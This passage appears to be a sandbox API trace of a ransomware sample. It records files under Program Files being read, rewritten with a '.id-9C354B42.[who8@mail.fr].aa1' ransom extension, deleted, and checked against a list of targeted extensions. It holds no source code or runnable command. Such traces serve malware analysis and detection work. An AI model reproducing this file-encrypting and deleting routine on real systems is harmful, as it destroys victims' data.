nNumberOfBytesToWrite=0x6d0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x6d0, lpOverlapped=0x0) returned 1 [0224.970] ReadFile (in: hFile=0x22c, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0224.970] WriteFile (in: hFile=0x1fc, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xea, lpOverlapped=0x0) returned 1 [0224.970] SetEndOfFile (hFile=0x1fc) returned 1 [0224.971] CloseHandle (hObject=0x1fc) returned 1 [0224.971] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.971] SetEndOfFile (hFile=0x22c) returned 1 [0224.972] CloseHandle (hObject=0x22c) returned 1 [0224.972] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0224.972] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif")) returned 1 [0224.972] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0224.972] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0224.972] lstrlenW (lpString=".doc") returned 4 [0224.973] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0224.973] lstrlenW (lpString=".docx") returned 5 [0224.973] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0224.973] lstrlenW (lpString=".pdf") returned 4 [0224.973] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0224.973] lstrlenW (lpString=".xls") returned 4 [0224.973] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0224.973] lstrlenW (lpString=".xlsx") returned 5 [0224.973] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0224.973] lstrlenW (lpString=".ppt") returned 4 [0224.973] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0224.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0224.973] lstrlenW (lpString=".zip") returned 4 [0224.973] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0224.973] lstrlenW (lpString=".rar") returned 4 [0224.973] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0224.973] lstrlenW (lpString=".bz2") returned 4 [0224.973] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0224.973] lstrlenW (lpString=".7z") returned 3 [0224.973] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0224.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0224.973] lstrlenW (lpString=".dbf") returned 4 [0224.973] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0224.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0224.973] lstrlenW (lpString=".1cd") returned 4 [0224.973] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0224.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0224.973] lstrlenW (lpString=".jpg") returned 4 [0224.973] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0224.974] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.975] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.975] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0224.983] GetLastError () returned 0x0 [0224.984] ReadFile (in: hFile=0x22c, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x137f, lpOverlapped=0x0) returned 1 [0224.995] WriteFile (in: hFile=0x1f0, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x1380, lpOverlapped=0x0) returned 1 [0224.996] ReadFile (in: hFile=0x22c, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0224.996] WriteFile (in: hFile=0x1f0, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xea, lpOverlapped=0x0) returned 1 [0224.996] SetEndOfFile (hFile=0x1f0) returned 1 [0224.996] CloseHandle (hObject=0x1f0) returned 1 [0224.996] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.996] SetEndOfFile (hFile=0x22c) returned 1 [0224.997] CloseHandle (hObject=0x22c) returned 1 [0224.997] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0224.998] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif")) returned 1 [0224.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0224.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0224.998] lstrlenW (lpString=".doc") returned 4 [0224.998] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0224.998] lstrlenW (lpString=".docx") returned 5 [0224.998] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0224.998] lstrlenW (lpString=".pdf") returned 4 [0224.998] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0224.998] lstrlenW (lpString=".xls") returned 4 [0224.998] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0224.998] lstrlenW (lpString=".xlsx") returned 5 [0224.998] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0224.998] lstrlenW (lpString=".ppt") returned 4 [0224.998] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0224.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0224.998] lstrlenW (lpString=".zip") returned 4 [0224.998] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0224.999] lstrlenW (lpString=".rar") returned 4 [0224.999] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0224.999] lstrlenW (lpString=".bz2") returned 4 [0224.999] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0224.999] lstrlenW (lpString=".7z") returned 3 [0224.999] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0224.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0224.999] lstrlenW (lpString=".dbf") returned 4 [0224.999] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0224.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0224.999] lstrlenW (lpString=".1cd") returned 4 [0224.999] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0224.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0224.999] lstrlenW (lpString=".jpg") returned 4 [0224.999] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0225.000] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.000] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.000] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0225.002] GetLastError () returned 0x0 [0225.002] ReadFile (in: hFile=0x22c, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0xa6c, lpOverlapped=0x0) returned 1 [0225.007] WriteFile (in: hFile=0x1f0, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xa70, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xa70, lpOverlapped=0x0) returned 1 [0225.008] ReadFile (in: hFile=0x22c, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0225.008] WriteFile (in: hFile=0x1f0, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xea, lpOverlapped=0x0) returned 1 [0225.008] SetEndOfFile (hFile=0x1f0) returned 1 [0225.008] CloseHandle (hObject=0x1f0) returned 1 [0225.009] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.009] SetEndOfFile (hFile=0x22c) returned 1 [0225.011] CloseHandle (hObject=0x22c) returned 1 [0225.011] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0225.011] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif")) returned 1 [0225.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0225.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0225.012] lstrlenW (lpString=".doc") returned 4 [0225.012] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0225.012] lstrlenW (lpString=".docx") returned 5 [0225.012] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0225.012] lstrlenW (lpString=".pdf") returned 4 [0225.012] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0225.012] lstrlenW (lpString=".xls") returned 4 [0225.012] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0225.012] lstrlenW (lpString=".xlsx") returned 5 [0225.012] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0225.012] lstrlenW (lpString=".ppt") returned 4 [0225.012] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0225.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0225.012] lstrlenW (lpString=".zip") returned 4 [0225.012] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0225.012] lstrlenW (lpString=".rar") returned 4 [0225.012] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0225.012] lstrlenW (lpString=".bz2") returned 4 [0225.012] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0225.012] lstrlenW (lpString=".7z") returned 3 [0225.012] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0225.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0225.013] lstrlenW (lpString=".dbf") returned 4 [0225.013] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0225.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0225.013] lstrlenW (lpString=".1cd") returned 4 [0225.013] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0225.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0225.013] lstrlenW (lpString=".jpg") returned 4 [0225.013] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0225.013] GetFileSizeEx (in: hFile=0x22c, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=42453) returned 1 [0225.013] CloseHandle (hObject=0x22c) returned 1 [0225.014] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png")) returned 0x20 [0225.014] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0225.014] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0225.014] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.014] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.014] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0225.014] GetLastError () returned 0x0 [0225.014] ReadFile (in: hFile=0x22c, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0xa5d5, lpOverlapped=0x0) returned 1 [0225.326] WriteFile (in: hFile=0x1f0, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xa5e0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xa5e0, lpOverlapped=0x0) returned 1 [0225.328] ReadFile (in: hFile=0x22c, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0225.328] WriteFile (in: hFile=0x1f0, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0225.328] SetEndOfFile (hFile=0x1f0) returned 1 [0225.329] CloseHandle (hObject=0x1f0) returned 1 [0225.332] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.332] SetEndOfFile (hFile=0x22c) returned 1 [0225.333] CloseHandle (hObject=0x22c) returned 1 [0225.333] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0225.334] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png")) returned 1 [0225.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0225.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0225.334] lstrlenW (lpString=".doc") returned 4 [0225.334] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0225.334] lstrlenW (lpString=".docx") returned 5 [0225.334] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0225.334] lstrlenW (lpString=".pdf") returned 4 [0225.335] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0225.335] lstrlenW (lpString=".xls") returned 4 [0225.335] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0225.335] lstrlenW (lpString=".xlsx") returned 5 [0225.335] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0225.335] lstrlenW (lpString=".ppt") returned 4 [0225.335] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0225.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0225.335] lstrlenW (lpString=".zip") returned 4 [0225.335] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0225.335] lstrlenW (lpString=".rar") returned 4 [0225.335] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0225.335] lstrlenW (lpString=".bz2") returned 4 [0225.335] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0225.335] lstrlenW (lpString=".7z") returned 3 [0225.335] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0225.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0225.335] lstrlenW (lpString=".dbf") returned 4 [0225.335] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0225.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0225.336] lstrlenW (lpString=".1cd") returned 4 [0225.336] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0225.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0225.336] lstrlenW (lpString=".jpg") returned 4 [0225.336] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0225.336] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.336] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.336] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0225.337] GetLastError () returned 0x0 [0225.337] ReadFile (in: hFile=0x22c, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x1e434, lpOverlapped=0x0) returned 1 [0225.382] WriteFile (in: hFile=0x1f0, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x1e440, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x1e440, lpOverlapped=0x0) returned 1 [0225.385] ReadFile (in: hFile=0x22c, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0225.385] WriteFile (in: hFile=0x1f0, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0225.385] SetEndOfFile (hFile=0x1f0) returned 1 [0225.385] CloseHandle (hObject=0x1f0) returned 1 [0225.386] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.386] SetEndOfFile (hFile=0x22c) returned 1 [0225.387] CloseHandle (hObject=0x22c) returned 1 [0225.387] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0225.388] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm")) returned 1 [0225.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0225.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0225.388] lstrlenW (lpString=".doc") returned 4 [0225.388] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0225.388] lstrlenW (lpString=".docx") returned 5 [0225.388] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0225.388] lstrlenW (lpString=".pdf") returned 4 [0225.388] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0225.388] lstrlenW (lpString=".xls") returned 4 [0225.388] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0225.388] lstrlenW (lpString=".xlsx") returned 5 [0225.388] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0225.388] lstrlenW (lpString=".ppt") returned 4 [0225.388] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0225.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0225.388] lstrlenW (lpString=".zip") returned 4 [0225.388] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0225.389] lstrlenW (lpString=".rar") returned 4 [0225.389] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0225.389] lstrlenW (lpString=".bz2") returned 4 [0225.389] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0225.389] lstrlenW (lpString=".7z") returned 3 [0225.389] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0225.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0225.389] lstrlenW (lpString=".dbf") returned 4 [0225.389] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0225.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0225.389] lstrlenW (lpString=".1cd") returned 4 [0225.389] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0225.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0225.389] lstrlenW (lpString=".jpg") returned 4 [0225.389] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0225.390] GetFileSizeEx (in: hFile=0x22c, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=416918) returned 1 [0225.390] CloseHandle (hObject=0x22c) returned 1 [0225.390] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm")) returned 0x20 [0225.390] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0225.390] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0225.391] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.391] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.391] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, 